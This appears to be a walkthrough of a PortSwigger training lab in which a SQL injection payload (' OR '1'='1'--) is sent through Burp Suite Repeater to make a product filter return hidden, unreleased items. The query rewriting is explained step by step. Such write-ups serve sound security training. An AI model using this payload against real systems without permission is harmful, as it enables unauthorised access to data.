---
description: https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
---

# SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FTPwnM8Zc0ZoIbzHa1cFM%2F1.png?alt=media&#x26;token=c7db3452-ed15-4207-ba9c-225a3d292a17" alt=""><figcaption></figcaption></figure>

Let's filter by `Accessories`.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FIknJI8VHppfNKQNvd1Bv%2F2.png?alt=media&#x26;token=cd92da1b-e2a1-438a-8b82-d018eef5797b" alt=""><figcaption></figcaption></figure>

The resultant SQL query is:

```
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

Since we are proxying the traffic through Burp Suite, we can access this request in the `Proxy> HTTP History` tab.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FwrdvrYtfBkQkJOJJ3IV6%2F5.png?alt=media&#x26;token=17777407-affe-4deb-81b6-5a40bc0e654b" alt=""><figcaption></figcaption></figure>

Let's forward this request to the `Repeater` for further modification.

Once in the `Repeater`, we can set the `categories` filter to the following:

```
' OR '1'='1'--
```

The resultant SQL query will be:

```
SELECT * FROM products WHERE category = '' OR '1' = '1'--' AND released = 1

## Queried part:
SELECT * FROM products WHERE category = '' OR '1' = '1'

## Commented part:
' AND released = 1
```

Since 1 is always equal to 1, the server will output all the categories. And since, we are commenting out the `AND released = 1` part, even the unreleased products will be output.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FKiPYQH5SXly6XhM7xjEb%2F4.png?alt=media&#x26;token=dfa85dad-a87e-4c87-9ec9-7195cd7a384a" alt=""><figcaption></figcaption></figure>

We have solved the lab.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FGoGGP5Nwic9ofZIOXTM4%2F6.png?alt=media&#x26;token=cd97560f-d74e-4aa4-a18c-5ac0f65e27e7" alt=""><figcaption></figcaption></figure>
